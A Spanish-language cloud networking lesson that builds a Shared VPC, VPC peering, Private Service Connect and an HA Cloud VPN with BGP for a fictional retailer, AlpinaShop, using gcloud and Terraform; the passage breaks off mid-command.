La red de AlpinaShop se diseñó en 03-01 para una situación que ya no existe. Había un proyecto que importaba, una aplicación que servir y una VPC con dos subredes. Funcionó perfectamente durante cuatro módulos.
Hoy la fotografía es otra. Hay cuatro proyectos —alpinashop-prod, alpinashop-dev, alpinashop-datos y alpinashop-cicd— cada uno con su propia VPC, sin saber nada de las demás. Lucía necesita que sus consultas de BigQuery lleguen a la réplica alpinashop-pedidos-replica-informes, que vive en otro proyecto. El servicio de Cloud Run que se desplegó en 07-02 debería hablar con Cloud SQL por IP privada en lugar de por el conector. La pasarela de pago exige que las peticiones lleguen desde una IP fija. Y DA-004 dejó comprometido un túnel hacia el ERP MySQL de la tienda de Sabadell que todavía no existe.
Además hay un riesgo que nadie ha mirado: si mañana se filtran las credenciales de sa-informes-nocturnos, esa cuenta puede leer todo el dataset alpinashop_analitica y copiarlo a un bucket de cualquier otro proyecto de Google Cloud del mundo. IAM autoriza la lectura; nada impide la salida.
Esta lección resuelve las cinco cosas. Al terminar sabrás cuándo una VPC en un proyecto deja de bastar, diseñarás la VPC compartida de AlpinaShop, distinguirás emparejamiento de red compartida con criterio, conectarás la tienda de Sabadell con Cloud VPN HA paso a paso entendiendo el BGP de verdad, publicarás y consumirás servicios por IP privada con Private Service Connect, levantarás un perímetro de VPC Service Controls alrededor de los datos, y sabrás diagnosticar un fallo de red con herramientas en lugar de con intuición.
Y sabrás dónde se esconde la parte de la factura que nadie mira: el tráfico.
Contenido
- Cuándo una VPC en un proyecto deja de bastar
- El diseño de direccionamiento de toda la organización
- VPC compartida: proyecto host y proyectos de servicio
- Implementar la VPC compartida de AlpinaShop
- Emparejamiento de VPC: cómo funciona y qué no hace
- Tabla de decisión: compartida, emparejamiento o interconexión
- Private Service Connect: servicios por IP privada
- Conectividad híbrida: las tres opciones para llegar a Sabadell
- Cloud VPN HA paso a paso
- Cloud Router, BGP y el enrutamiento dinámico de verdad
- Anuncio de rutas y los errores que rompen la conectividad
- Network Connectivity Center: la topología radial gestionada
- Controles de servicio de VPC: el perímetro contra la exfiltración
- Diagnóstico de red: Network Intelligence Center y un fallo real
- Niveles de servicio Premium y Estándar
- El coste del tráfico: donde se esconde la factura
- Cuándo una VPC en un proyecto deja de bastar
Una VPC en un solo proyecto es la respuesta correcta durante más tiempo del que la gente cree. Estas son las señales concretas de que se ha quedado corta:
| Señal | Qué la provoca | Qué la resuelve |
|---|---|---|
| Varios proyectos que necesitan hablarse por IP privada | Separación por entorno o por equipo | VPC compartida o emparejamiento |
| El mismo diseño de red replicado a mano en tres proyectos | Copiar y pegar subredes y reglas | VPC compartida |
| Nadie sabe qué reglas de firewall hay en total | Firewall repartido entre proyectos | VPC compartida |
| Hay que llegar a un sistema fuera de Google Cloud | Un ERP, un mainframe, una oficina | VPN o Interconnect |
| Hace falta consumir un servicio de un tercero sin salir a internet | SaaS, socios | Private Service Connect |
| Preocupa que alguien copie los datos fuera | Credenciales filtradas, error humano | VPC Service Controls |
| Los rangos IP empiezan a chocar | Nadie llevaba el registro | Un plan de direccionamiento |
AlpinaShop marca seis de las siete. Es el momento.
Pero antes de tocar nada, hay que hacer lo que casi nadie hace y evita el 80 % de los problemas futuros.
- El diseño de direccionamiento de toda la organización
Un plan de direccionamiento es una hoja de cálculo con qué rango usa cada cosa. Suena trivial. Es lo que separa una red que crece de una red que hay que rehacer.
La regla que lo gobierna todo:
Dos rangos que puedan llegar a conectarse alguna vez no pueden solaparse. Nunca. Bajo ninguna circunstancia.
Y es más estricto de lo que parece, porque "alguna vez" incluye: una fusión de empresas, un proveedor que se conecta por VPN, una nube secundaria, una oficina nueva, un socio con el que se emparejan redes. Cuando dos rangos se solapan, no hay configuración que lo arregle: hay que renumerar una de las dos redes, con parada de servicio.
El plan de AlpinaShop, diseñado con margen para diez años:
| Bloque | Rango | Uso | Estado |
|---|---|---|---|
10.10.0.0/16 |
65.536 IP | Google Cloud, europe-west1 |
En uso |
10.10.0.0/24 |
256 | sn-web-euw1 — cargas web |
En uso |
10.10.1.0/24 |
256 | sn-datos-euw1 — bases de datos |
En uso |
10.10.2.0/24 |
256 | sn-dev-euw1 — desarrollo |
Nueva |
10.10.3.0/24 |
256 | sn-datos-analitica-euw1 |
Nueva |
10.10.8.0/22 |
1.024 | Rango secundario para pods de GKE | Reservado |
10.10.12.0/24 |
256 | Rango secundario para servicios de GKE | Reservado |
10.10.16.0/24 |
256 | Subred de solo proxy (balanceadores internos) | Reservado |
10.10.20.0/24 |
256 | Cloud Run — VPC directa | Nueva |
10.10.240.0/20 |
4.096 | Acceso a servicios privados (Cloud SQL, Memorystore) | En uso |
10.20.0.0/16 |
65.536 | Google Cloud, europe-southwest1 (Madrid) |
Reservado, sin usar |
192.168.10.0/24 |
256 | Tienda de Sabadell — red local | Existente |
192.168.20.0/24 |
256 | Oficina central | Existente |
172.16.0.0/12 |
— | Prohibido: lo usa Docker por defecto | Bloqueado |
Cuatro decisiones que merecen explicación:
- Reservar
10.20.0.0/16para una segunda región aunque no se use. Cuesta cero. El día que 07-06 exija multirregión, el rango está libre y no hay que negociar con nadie. - Los rangos secundarios de GKE se reservan aunque el clúster se vaya a retirar. Los rangos de pods son enormes y devorarlos por sorpresa es un clásico.
10.10.240.0/20para acceso a servicios privados. Cuando creas una instancia de Cloud SQL con IP privada, Google necesita un rango dentro de tu VPC que te "quita" para su uso. Si no lo planificas, te asigna uno y luego choca con algo.- Prohibir
172.16.0.0/12explícitamente. Es el rango que usa Docker por defecto para sus redes puente. Cualquier contenedor que use ese rango internamente no podrá alcanzar una IP de la VPC en ese mismo rango. Es una tarde perdida garantizada.
Consejo: este plan vive en el repositorio
alpinashop-infracomo ficheroDIRECCIONAMIENTO.mdy se revisa en el mismo pull request que crea la subred. Un plan que está en la hoja de cálculo de alguien no es un plan.
- VPC compartida: proyecto host y proyectos de servicio
La VPC compartida (antes XPN, siglas que sobreviven en algunos comandos y roles) permite que una VPC definida en un proyecto sea usada por recursos de otros proyectos.
flowchart TB
subgraph HOST["Proyecto HOST: alpinashop-red (carpeta compartido)"]
VPC["alpinashop-vpc"]
S1["sn-web-euw1<br/>10.10.0.0/24"]
S2["sn-datos-euw1<br/>10.10.1.0/24"]
S3["sn-dev-euw1<br/>10.10.2.0/24"]
FW["Reglas fw-*"]
RT["alpinashop-router-euw1<br/>+ NAT + VPN"]
VPC --- S1 & S2 & S3 & FW & RT
end
subgraph SVC["Proyectos de servicio"]
P1["alpinashop-prod<br/>Cloud Run, Cloud SQL"]
P2["alpinashop-dev<br/>VM de pruebas"]
P3["alpinashop-datos<br/>BigQuery, Dataflow"]
end
S1 -.->|"usa"| P1
S3 -.->|"usa"| P2
S2 -.->|"usa"| P3
style HOST fill:#e8f0fe,stroke:#4285f4
La idea central, y es elegante:
La red vive en un sitio. Los recursos viven en otro. La facturación y los permisos siguen a los recursos.
Una VM de alpinashop-prod con una IP de sn-web-euw1 se factura a alpinashop-prod, la administran los permisos de alpinashop-prod, y su tráfico obedece a las reglas de firewall que están en alpinashop-red. Puede hablar con una VM de alpinashop-dev por IP privada porque están en la misma VPC, aunque sean proyectos distintos.
Quién administra qué
Este reparto es la razón de ser de la VPC compartida y la parte que hay que entender:
| Tarea | Quién | Rol |
|---|---|---|
| Crear la VPC y las subredes | Equipo de red (Marta) en el proyecto host | roles/compute.networkAdmin en el host |
| Crear y modificar reglas de firewall | Equipo de red en el host | roles/compute.securityAdmin en el host |
| Configurar Cloud Router, NAT, VPN | Equipo de red en el host | roles/compute.networkAdmin |
| Vincular un proyecto de servicio | Administrador de la VPC compartida | roles/compute.xpnAdmin a nivel de organización o carpeta |
| Crear una VM en una subred | Equipo de desarrollo en su proyecto | roles/compute.networkUser sobre la subred concreta |
| Desplegar Cloud Run con VPC directa | Equipo de desarrollo | roles/compute.networkUser sobre la subred |
Los dos roles que hay que memorizar:
compute.xpnAdmin: quién puede vincular y desvincular proyectos de servicio. Es un rol de organización o carpeta, no de proyecto. Muy poderoso: se da a una o dos personas.compute.networkUser: quién puede usar una red o subred. Se puede dar sobre la red entera (mala idea) o sobre una subred concreta (lo correcto).
Esa granularidad es la joya del modelo:
Dani puede desplegar en
sn-dev-euw1porquegcp-desarrollo@tienenetworkUsersobre esa subred. No puede desplegar ensn-datos-euw1, porque no lo tiene. Ni siquiera puede ver esa subred. Y no puede tocar ninguna regla de firewall.
Es separación de funciones (03-04) aplicada a la red, y se hereda automáticamente por proyecto nuevo si se gestiona con Terraform.
Lo que se gana y lo que se paga
| Ventaja | Detalle |
|---|---|
| Una sola red que entender | Un mapa, un plan de direccionamiento, una lista de reglas |
| Firewall centralizado | Todas las reglas en un sitio, auditables de un vistazo |
| Sin emparejamientos ni túneles internos | Los proyectos se hablan porque están en la misma red |
| Un solo Cloud NAT, un solo Cloud Router, una sola VPN | Se configura una vez y sirve a todos |
| Separación de funciones real | Red centralizada, cómputo distribuido |
| Menos IP desperdiciadas | Un solo plan de direccionamiento |
| Inconveniente | Detalle |
|---|---|
| Cuellos de botella organizativos | Cada subred nueva pasa por el equipo de red |
| Radio de explosión mayor | Un error en una regla de firewall del host afecta a todos |
| Cuotas compartidas | Las cuotas de red son del proyecto host |
| Curva de aprendizaje de permisos | Hay que entender los dos roles y dónde se aplican |
| No cruza organizaciones | Host y servicio deben estar en la misma organización |
Para AlpinaShop, con una persona de red y tres proyectos, la centralización es exactamente lo que quiere: Marta gobierna la red, Dani y Lucía consumen subredes sin poder romperse entre ellos.
- Implementar la VPC compartida de AlpinaShop
Se hace en Terraform, como todo desde 06-07. Pero primero el comando equivalente, para entender qué ocurre.
Paso 1: crear el proyecto host
La decisión de diseño más importante: la red va a un proyecto propio, alpinashop-red, en la carpeta compartido. No en alpinashop-prod.
¿Por qué? Porque si la red vive en producción, todo el que necesite tocar una subred de desarrollo necesita permisos en el proyecto de producción. El proyecto host queda casi vacío —solo red— y eso es una virtud: su lista de permisos es corta y auditable.
gcloud projects create alpinashop-red \
--folder=FOLDER_ID_COMPARTIDO \
--name="AlpinaShop Red"
gcloud beta billing projects link alpinashop-red \
--billing-account=BILLING_ACCOUNT_ID
gcloud services enable compute.googleapis.com --project=alpinashop-redPaso 2: habilitar el host y vincular los proyectos de servicio
# Convertir alpinashop-red en proyecto host
gcloud compute shared-vpc enable alpinashop-red
# Vincular los tres proyectos de servicio
for P in alpinashop-prod alpinashop-dev alpinashop-datos; do
gcloud compute shared-vpc associated-projects add "$P" --host-project=alpinashop-red
done
# Verificar
gcloud compute shared-vpc get-host-project alpinashop-prod
gcloud compute shared-vpc list-associated-resources alpinashop-redNótese que alpinashop-cicd no se vincula: Cloud Build no necesita IP privada en la VPC para construir imágenes, y cada vinculación es superficie que no hace falta.
Paso 3: las subredes con permisos granulares, en Terraform
# proyecto host: alpinashop-red
resource "google_compute_network" "alpinashop" {
project = "alpinashop-red"
name = "alpinashop-vpc"
auto_create_subnetworks = false # SIEMPRE false: control total del direccionamiento
routing_mode = "GLOBAL" # las rutas aprendidas por BGP se propagan a todas las regiones
}
resource "google_compute_subnetwork" "web" {
project = "alpinashop-red"
name = "sn-web-euw1"
ip_cidr_range = "10.10.0.0/24"
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true # llegar a las APIs de Google sin IP publica (03-01)
log_config {
aggregation_interval = "INTERVAL_10_MIN"
flow_sampling = 0.5 # 50% de muestreo: equilibrio coste/visibilidad
metadata = "INCLUDE_ALL_METADATA"
}
}
resource "google_compute_subnetwork" "datos" {
project = "alpinashop-red"
name = "sn-datos-euw1"
ip_cidr_range = "10.10.1.0/24"
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true
}
resource "google_compute_subnetwork" "dev" {
project = "alpinashop-red"
name = "sn-dev-euw1"
ip_cidr_range = "10.10.2.0/24"
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true
}
# --- Permisos granulares por subred ---
# El equipo de desarrollo SOLO puede usar la subred de desarrollo
resource "google_compute_subnetwork_iam_member" "dev_usa_dev" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.dev.name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}
# La cuenta de servicio de Cloud Run necesita la subred web para VPC directa
resource "google_compute_subnetwork_iam_member" "run_usa_web" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.web.name
role = "roles/compute.networkUser"
member = "serviceAccount:service-${var.numero_proyecto_prod}@serverless-robot-prod.iam.gserviceaccount.com"
}
# El equipo de datos SOLO la subred de datos
resource "google_compute_subnetwork_iam_member" "datos_usa_datos" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.datos.name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}Dos detalles con consecuencias:
routing_mode = "GLOBAL". Con enrutamiento regional, las rutas que el Cloud Router aprende por BGP eneurope-west1solo se anuncian a esa región. Si mañana hay recursos eneurope-southwest1, no llegarán a Sabadell. Cambiarlo después obliga a reiniciar las sesiones BGP. Ponlo global desde el principio.- La cuenta
serverless-robot-prodes el agente de servicio de Cloud Run. Cuando un servicio serverless usa VPC directa en una VPC compartida, es esa cuenta, no la tuya, la que necesitanetworkUser. Es un permiso que nadie adivina y produce un error críptico al desplegar.
Paso 4: mover lo que ya existía
Aquí viene la verdad incómoda:
Una VM no se puede mover de una VPC a otra. Hay que recrearla en la nueva red.
La migración de AlpinaShop, por suerte, es sencilla gracias a lo que ya se hizo:
| Recurso | Cómo se mueve | Interrupción |
|---|---|---|
Cloud Run alpinashop-web |
Actualizar --network y --subnet. Crea revisión nueva |
Ninguna: reparto de tráfico |
Cloud SQL alpinashop-pedidos |
Requiere reconfigurar el acceso a servicios privados | Ventana planificada |
alpinashop-cluster (GKE) |
No se puede migrar: hay que recrear el clúster | Ya no tiene producción (07-02) |
| Balanceador y Cloud Armor | Son globales, no dependen de la VPC | Ninguna |
| Cloud NAT y router | Se recrean en el host | Ninguna si se hace antes |
Que la migración a VPC compartida sea fácil es un dividendo directo de haber movido el catálogo a Cloud Run. Con el MIG, habría que recrear las VM.
- Emparejamiento de VPC: cómo funciona y qué no hace
El emparejamiento de VPC (VPC peering) conecta dos VPC para que sus recursos se hablen por IP privada, sin compartir administración.
# Lado A
gcloud compute networks peerings create vpc-a-hacia-b \
--network=vpc-a --peer-project=proyecto-b --peer-network=vpc-b
# Lado B: HAY QUE HACERLO TAMBIEN. El emparejamiento no existe hasta que ambos lo crean
gcloud compute networks peerings create vpc-b-hacia-a \
--network=vpc-b --peer-project=proyecto-a --peer-network=vpc-aCaracterísticas:
- Tráfico por la red interna de Google: baja latencia, alto ancho de banda.
- Sin coste por el emparejamiento en sí (el tráfico entre zonas o regiones sí se paga).
- Funciona entre organizaciones distintas, a diferencia de la VPC compartida.
- Cada lado mantiene su firewall y su administración.
Y aquí las tres limitaciones que definen cuándo sirve y cuándo no.
Limitación 1: no es transitivo
Es la limitación más importante y la que más gente descubre tarde.
flowchart LR
A["VPC A<br/>10.1.0.0/16"] <-->|"emparejamiento"| B["VPC B<br/>10.2.0.0/16"]
B <-->|"emparejamiento"| C["VPC C<br/>10.3.0.0/16"]
A -.->|"NO HAY CONECTIVIDAD"| C
style A fill:#e8f0fe
style C fill:#fce8e6
Si A se empareja con B, y B con C, A no puede hablar con C. Ni añadiendo rutas, ni con un proxy en B (eso ya no es emparejamiento). Para N redes que deban hablarse todas con todas hacen falta N×(N−1)/2 emparejamientos: 3 redes son 3, 5 redes son 10, 10 redes son 45. Deja de ser gestionable rápido — y ese es exactamente el problema que resuelve Network Connectivity Center (apartado 12).
La consecuencia práctica más habitual: una VPC emparejada no puede alcanzar a través de ti tu VPN a las oficinas. Es un caso que aparece constantemente y sorprende siempre.
Limitación 2: los rangos no pueden solaparse
Si A usa 10.1.0.0/16 y C también, no se pueden emparejar jamás. Y no hay NAT que valga en el emparejamiento. Es el motivo del apartado 2.
Limitación 3: cuotas agregadas
Las rutas, reglas de reenvío y direcciones internas se suman entre redes emparejadas a efectos de cuota. En redes grandes esto se vuelve un límite real.
Control fino: qué se anuncia
Por defecto solo se intercambian las rutas de las subredes. Se puede afinar:
gcloud compute networks peerings update vpc-a-hacia-b \
--network=vpc-a \
--export-custom-routes \ # exportar rutas estaticas y aprendidas por BGP
--import-custom-routes # importar las del otro lado--export-custom-routes es lo que permite que la otra VPC alcance, por ejemplo, la red de Sabadell a través de tu VPN. Está desactivado por defecto y es la causa número uno de "el emparejamiento está establecido pero no llego".
- Tabla de decisión: compartida, emparejamiento o interconexión
| Criterio | VPC compartida | Emparejamiento de VPC | Network Connectivity Center |
|---|---|---|---|
| Administración de la red | Centralizada | Independiente en cada lado | Centralizada (radial) |
| ¿Misma organización? | Obligatorio | No necesario | Habitualmente sí |
| Transitividad | Total (es una sola red) | No | Sí, vía el eje |
| Rangos solapados | Imposibles por diseño | Prohibidos | Prohibidos |
| Reglas de firewall | Unas, en el host | Unas por VPC | Por radio |
| Escala | Cientos de proyectos de servicio | Se degrada con N² | Cientos de radios |
| Coste | Sin coste adicional | Sin coste adicional | Por radio y hora |
| Caso típico | Una empresa, varios equipos | Dos empresas, un socio, un SaaS | Muchas redes y sedes |
| AlpinaShop | Sí, es la elección | Solo si aparece un socio | No hace falta |
La regla de decisión:
¿Los proyectos son míos y quiero una sola red que gobernar? → VPC compartida. ¿La otra red es de otro, o necesito administraciones separadas? → Emparejamiento. ¿Tengo más de cinco redes y sedes que se tienen que hablar todas? → Network Connectivity Center.
- Private Service Connect: servicios por IP privada
Private Service Connect (PSC) resuelve un problema distinto: consumir un servicio por una IP privada de tu propia VPC, sin emparejar redes y sin exponer nada a internet.
Tiene tres usos, y conviene distinguirlos:
Uso 1: acceder a las APIs de Google por una IP privada tuya
En 03-01 se activó Private Google Access, que permite a una VM sin IP pública llegar a storage.googleapis.com usando el rango 199.36.153.8/30. Funciona, pero el destino sigue siendo una IP de Google.
Con PSC creas un extremo con una IP de tu propio rango:
# Reservar una IP interna para el extremo
gcloud compute addresses create psc-apis-google \
--global --purpose=PRIVATE_SERVICE_CONNECT \
--addresses=10.10.250.10 \
--network=alpinashop-vpc \
--project=alpinashop-red
# Crear el extremo hacia todas las APIs de Google
gcloud compute forwarding-rules create psc-apis-google \
--global \
--network=alpinashop-vpc \
--address=psc-apis-google \
--target-google-apis-bundle=all-apis \
--project=alpinashop-redA partir de ahí, 10.10.250.10 es el punto de acceso a las APIs de Google. Con un registro DNS privado (*.googleapis.com → 10.10.250.10) todo el tráfico a las APIs pasa por ahí.
¿Qué se gana frente a Private Google Access? Tres cosas concretas:
- Funciona desde fuera de la VPC: desde Sabadell, a través del túnel VPN, una máquina puede llegar a
10.10.250.10y usar Cloud Storage. Con Private Google Access, no. Este es el motivo principal. - Una IP tuya que puedes controlar con firewall y ver en los Flow Logs.
- Es requisito habitual cuando hay VPC Service Controls, con el paquete
vpc-scen lugar deall-apis.
Uso 2: consumir un servicio publicado por un tercero
Un SaaS —una plataforma de datos, un proveedor de pagos— publica su servicio como PSC. Tú creas un extremo en tu VPC con una IP tuya, y consumes el servicio sin salir a internet, sin VPN y sin emparejar redes:
gcloud compute forwarding-rules create psc-proveedor-pagos \
--region=europe-west1 \
--network=alpinashop-vpc \
--address=10.10.250.20 \
--target-service-attachment=projects/PROVEEDOR/regions/europe-west1/serviceAttachments/sa-pagosVentaja decisiva sobre el emparejamiento: no se comparten rangos ni rutas. El proveedor no ve tu red y tú no ves la suya. Solo se expone el servicio concreto. Por eso PSC ha sustituido al emparejamiento como forma estándar de conectar con proveedores.
Uso 3: publicar tu propio servicio
Simétricamente, AlpinaShop podría publicar su API de socios detrás de un balanceador interno y exponerla como service attachment para que las tiendas asociadas la consuman desde sus propias VPC.
flowchart LR
subgraph CONS["VPC del consumidor"]
EP["Extremo PSC<br/>10.50.0.5"]
end
subgraph PROD["VPC de AlpinaShop"]
SA["Service attachment"] --> ILB["Balanceador interno"] --> API["API de socios"]
end
EP -->|"red de Google, IP privada"| SA
Comparación de las formas de acceso privado
| Mecanismo | Para qué | IP de destino |
|---|---|---|
| Private Google Access | VM sin IP pública → APIs de Google | De Google (199.36.153.8/30) |
| Private Service Connect | Cualquiera → APIs de Google o servicios de terceros | Tuya |
| Acceso a servicios privados | Cloud SQL, Memorystore con IP privada | Del rango que cediste (10.10.240.0/20) |
| Emparejamiento | VPC ↔ VPC completas | Del otro lado |
- Conectividad híbrida: las tres opciones para llegar a Sabadell
DA-004 comprometió un enlace privado con la tienda. Hay tres formas.
| Cloud VPN HA | Partner Interconnect | Dedicated Interconnect | |
|---|---|---|---|
| Medio | Internet, cifrado IPsec | Proveedor de servicios | Fibra física propia |
| Ancho de banda | Hasta 3 Gbps por túnel (típico 1,5-3) | 50 Mbps – 50 Gbps | 10 o 100 Gbps por enlace |
| Latencia | La de internet + cifrado | Baja y estable | La más baja y estable |
| SLA | 99,99 % con configuración HA | 99,9 % o 99,99 % según topología | 99,9 % o 99,99 % según topología |
| Plazo de puesta en marcha | Minutos | Días o semanas | Semanas o meses |
| Coste mensual | Del orden de decenas de € por túnel | Cientos a miles de € | Miles de € + instalación |
| Cifrado | IPsec, incluido | No por defecto (se añade MACsec o VPN encima) | No por defecto |
| Requiere presencia física | No | En el proveedor | En un punto de interconexión de Google |
| Cuándo | Hasta ~3 Gbps, arranque rápido | Ancho medio, sin presencia física | Mucho volumen, latencia crítica |
Para AlpinaShop la decisión no tiene discusión. El tráfico previsto son unas tablas de stock cada 10 minutos y unos cientos de pedidos al día: kilobytes, no gigabytes. Contratar un Interconnect para eso sería como alquilar un tráiler para llevar la compra. Cloud VPN HA, en minutos y por decenas de euros al mes.
Un apunte sobre cuándo cambiaría: si hubiera que replicar continuamente una base de datos grande, si el volumen superara de forma sostenida 1-2 Gbps, o si la latencia de internet fuera inaceptable para un proceso interactivo. Ninguna aplica.
- Cloud VPN HA paso a paso
Cloud VPN HA (alta disponibilidad) es la versión con SLA del 99,99 %. La diferencia con la VPN clásica:
| VPN clásica (obsoleta) | Cloud VPN HA | |
|---|---|---|
| Interfaces de la pasarela | 1 | 2, con IP públicas distintas |
| Túneles mínimos | 1 | 2 |
| Enrutamiento | Estático o dinámico | Dinámico con BGP obligatorio |
| SLA | 99,9 % | 99,99 % con dos túneles a dos dispositivos |
Para conseguir el 99,99 % hacen falta dos túneles desde las dos interfaces de la pasarela de Google hacia dos dispositivos (o al menos dos IP) del otro lado. Con un solo dispositivo en Sabadell se consiguen 99,9 %, que para una tienda es más que suficiente.
flowchart LR
subgraph GCP["Google Cloud - alpinashop-red"]
GW["alpinashop-vpn-gw<br/>if0: 34.x.x.1<br/>if1: 34.x.x.2"]
CR["alpinashop-router-euw1<br/>ASN 65001"]
VPC["alpinashop-vpc<br/>10.10.0.0/16"]
GW --- CR --- VPC
end
subgraph SAB["Tienda de Sabadell"]
FW["Router/firewall<br/>IP publica 88.x.x.x<br/>ASN 65010"]
LAN["LAN 192.168.10.0/24"]
ERP["ERP MySQL<br/>192.168.10.20"]
FW --- LAN --- ERP
end
GW <-->|"tunel 0 - IPsec"| FW
GW <-->|"tunel 1 - IPsec"| FW
Paso 1: la pasarela VPN HA
gcloud compute vpn-gateways create alpinashop-vpn-gw \
--network=alpinashop-vpc \
--region=europe-west1 \
--project=alpinashop-red
gcloud compute vpn-gateways describe alpinashop-vpn-gw \
--region=europe-west1 --format="get(vpnInterfaces)"Google asigna dos IP públicas, una por interfaz. Se apuntan: son las que hay que configurar en el router de Sabadell.
Paso 2: la pasarela del otro lado
Google necesita saber cómo es el dispositivo remoto:
gcloud compute external-vpn-gateways create gw-sabadell \
--interfaces=0=88.20.145.7 \
--project=alpinashop-red--interfaces=0=IP declara un dispositivo. Si en Sabadell hubiera dos routers, sería 0=IP_A,1=IP_B y se alcanzaría el 99,99 %.
Paso 3: el Cloud Router
gcloud compute routers create alpinashop-router-euw1 \
--network=alpinashop-vpc \
--region=europe-west1 \
--asn=65001 \
--advertisement-mode=custom \
--set-advertisement-groups=all-subnets \
--project=alpinashop-red--asn=65001: número de sistema autónomo de Google en esta sesión BGP. Se usa el rango privado 64512-65534.--advertisement-mode=custom: control explícito de lo que se anuncia. Condefaultse anuncian todas las subredes automáticamente;customobliga a decidir, que es lo correcto (apartado 11).
Si el router ya existe por el Cloud NAT de 03-01, se reutiliza: un Cloud Router sirve a la vez para NAT y para VPN.
Paso 4: los dos túneles
SECRETO=$(openssl rand -base64 32) # y se guarda en Secret Manager, no en el historial
for I in 0 1; do
gcloud compute vpn-tunnels create tunel-sabadell-$I \
--peer-external-gateway=gw-sabadell \
--peer-external-gateway-interface=0 \
--region=europe-west1 \
--ike-version=2 \
--shared-secret="$SECRETO" \
--router=alpinashop-router-euw1 \
--vpn-gateway=alpinashop-vpn-gw \
--interface=$I \
--project=alpinashop-red
done--interface=$I: cada túnel sale por una interfaz distinta de la pasarela. Aquí está la redundancia.--ike-version=2: IKEv2 siempre. IKEv1 solo si el equipo remoto es antiguo.--shared-secret: la clave precompartida. Debe coincidir exactamente con la del router de Sabadell y va a Secret Manager (03-06), nunca a un fichero de Terraform.
Paso 5: las sesiones BGP
Cada túnel necesita su sesión BGP, con IP de enlace en un /30 del rango de enlace local 169.254.0.0/16:
for I in 0 1; do
gcloud compute routers add-interface alpinashop-router-euw1 \
--interface-name=if-tunel-$I \
--vpn-tunnel=tunel-sabadell-$I \
--ip-address=169.254.10.$((1 + I*4)) \
--mask-length=30 \
--region=europe-west1 --project=alpinashop-red
gcloud compute routers add-bgp-peer alpinashop-router-euw1 \
--peer-name=bgp-sabadell-$I \
--interface=if-tunel-$I \
--peer-ip-address=169.254.10.$((2 + I*4)) \
--peer-asn=65010 \
--advertised-route-priority=$((100 + I*100)) \
--region=europe-west1 --project=alpinashop-red
doneDireccionamiento resultante:
| Túnel | IP de Google | IP de Sabadell | Prioridad |
|---|---|---|---|
| 0 | 169.254.10.1/30 | 169.254.10.2 | 100 (preferido) |
| 1 | 169.254.10.5/30 | 169.254.10.6 | 200 (respaldo) |
--advertised-route-priority más baja gana. Con estas prioridades, el túnel 0 es el activo y el 1 el respaldo; si el 0 cae, BGP converge al 1 en segundos. Para activo-activo se pondría la misma prioridad en los dos y el tráfico se repartiría por ECMP.
Paso 6: firewall y verificación
gcloud compute firewall-rules create fw-permitir-desde-sabadell \
--network=alpinashop-vpc \
--direction=INGRESS \
--action=allow \
--rules=tcp:3306,icmp \
--source-ranges=192.168.10.0/24 \
--target-tags=acceso-erp \
--project=alpinashop-red
# Estado de los tuneles: se busca "ESTABLISHED"
gcloud compute vpn-tunnels list --project=alpinashop-red \
--format="table(name,status,detailedStatus)"
# Estado del BGP: se busca "UP" y las rutas aprendidas
gcloud compute routers get-status alpinashop-router-euw1 \
--region=europe-west1 --project=alpinashop-red \
--format="yaml(result.bgpPeerStatus)"La salida buena tiene este aspecto:
result:
bgpPeerStatus:
- name: bgp-sabadell-0
state: Established
status: UP
numLearnedRoutes: 1
advertisedRoutes: [10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24]
learnedRoutes:
- destIpRange: 192.168.10.0/24numLearnedRoutes: 1 y 192.168.10.0/24 en learnedRoutes es la prueba de que funciona. Si el túnel está ESTABLISHED pero numLearnedRoutes: 0, el problema no es la VPN: es que el otro lado no anuncia nada por BGP.
- Cloud Router, BGP y el enrutamiento dinámico de verdad
Merece la pena entender qué está pasando, porque casi todos los fallos de conectividad híbrida son de enrutamiento y no del túnel.
BGP (Border Gateway Protocol) es el protocolo con el que dos redes se cuentan qué destinos saben alcanzar. Cada red tiene un identificador, el ASN, y anuncia sus prefijos.
| Concepto | Qué es | En AlpinaShop |
|---|---|---|
| ASN | Identificador de la red | Google: 65001. Sabadell: 65010 |
| Sesión BGP | Conversación TCP:179 entre dos routers | Una por túnel |
| Ruta anunciada | "Yo sé llegar a X" | Google anuncia 10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24 |
| Ruta aprendida | Lo que el otro anuncia | Google aprende 192.168.10.0/24 |
| Prioridad / MED | Preferencia entre caminos | 100 vs 200 |
La diferencia con el enrutamiento estático es la que justifica todo el aparato:
| Estático | Dinámico (BGP) | |
|---|---|---|
| Rutas nuevas | Se añaden a mano en los dos lados | Se anuncian solas |
| Caída de un túnel | El tráfico sigue yendo al túnel muerto | Converge al otro en segundos |
| Subred nueva en GCP | Editar el router remoto | Se anuncia sola |
| Escala | Se vuelve inmanejable | Bien |
El caso que lo hace evidente: cuando Marta cree sn-run-euw1 (10.10.20.0/24) para la VPC directa de Cloud Run, el Cloud Router la anunciará automáticamente a Sabadell y el ERP podrá responderle sin que nadie toque el router de la tienda. Con rutas estáticas, habría que llamar al proveedor de la tienda cada vez.
Y el detalle que se olvida: el enrutamiento global del apartado 4. Con routing_mode = REGIONAL, un Cloud Router de europe-west1 solo anuncia subredes de europe-west1. Con GLOBAL, anuncia todas.
- Anuncio de rutas y los errores que rompen la conectividad
Con --advertisement-mode=custom se decide exactamente qué se anuncia. Casos habituales:
# Anunciar las subredes MAS un rango que no es una subred
# (por ejemplo el rango de acceso a servicios privados donde vive Cloud SQL)
gcloud compute routers update alpinashop-router-euw1 \
--region=europe-west1 \
--advertisement-mode=custom \
--set-advertisement-groups=all-subnets \
--set-advertisement-ranges=10.10.240.0/20=rango-cloud-sql \
--project=alpinashop-redSin esa línea, Sabadell no puede alcanzar Cloud SQL por IP privada aunque el túnel funcione perfectamente, porque 10.10.240.0/20 no es una subred de la VPC: es un rango cedido a Google. Es de los fallos más desconcertantes que existen, porque todo parece bien.
También se puede anunciar solo desde una sesión BGP concreta, útil para políticas de salida:
gcloud compute routers update-bgp-peer alpinashop-router-euw1 \
--peer-name=bgp-sabadell-0 \
